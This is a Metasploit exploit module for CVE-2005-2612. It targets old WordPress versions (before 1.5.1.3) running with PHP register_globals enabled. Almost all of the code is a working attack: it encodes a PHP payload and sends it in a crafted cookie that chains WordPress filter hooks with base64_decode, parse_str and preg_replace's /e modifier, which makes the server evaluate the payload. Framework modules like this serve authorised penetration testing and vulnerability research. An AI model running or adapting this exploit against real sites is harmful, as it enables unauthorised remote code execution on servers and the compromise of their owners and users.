##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress cache_lastpostdate Arbitrary Code Execution',
        'Description' => %q{
          This module exploits an arbitrary PHP code execution flaw in the WordPress
          blogging software. This vulnerability is only present when the PHP 'register_globals'
          option is enabled (common for hosting providers). All versions of WordPress prior to
          1.5.1.3 are affected.
        },
        'Author' => [ 'str0ke <str0ke[at]milw0rm.com>', 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2005-2612'],
          ['OSVDB', '18672'],
          ['BID', '14533'],
          ['WPVDB', '6034']
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Compat' =>
                        {
                          'ConnectionType' => 'find'
                        },
          'Space' => 512
        },
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '2005-08-09',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to WordPress", "/"]),
      ]
    )
  end

  def exploit
    enc = payload.encoded.unpack('C*').map { |c| "chr(#{c})" }.join('.') + ".chr(32)"
    str = Rex::Text.encode_base64('args[0]=eval(base64_decode(' + enc + ')).die()&args[1]=x')
    data =
      "wp_filter[query_vars][0][0][function]=get_lastpostdate;wp_filter[query_vars][0][0][accepted_args]=0;" +
      "wp_filter[query_vars][0][1][function]=base64_decode;wp_filter[query_vars][0][1][accepted_args]=1;" +
      "cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=" + str +
      ";wp_filter[query_vars][1][0][function]=parse_str;wp_filter[query_vars][1][0][accepted_args]=1;" +
      "wp_filter[query_vars][2][0][function]=get_lastpostmodified;wp_filter[query_vars][2][0][accepted_args]=0;" +
      "wp_filter[query_vars][3][0][function]=preg_replace;wp_filter[query_vars][3][0][accepted_args]=3;"

    # Trigger the command execution bug
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'cookie' => data
    }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
  end
end
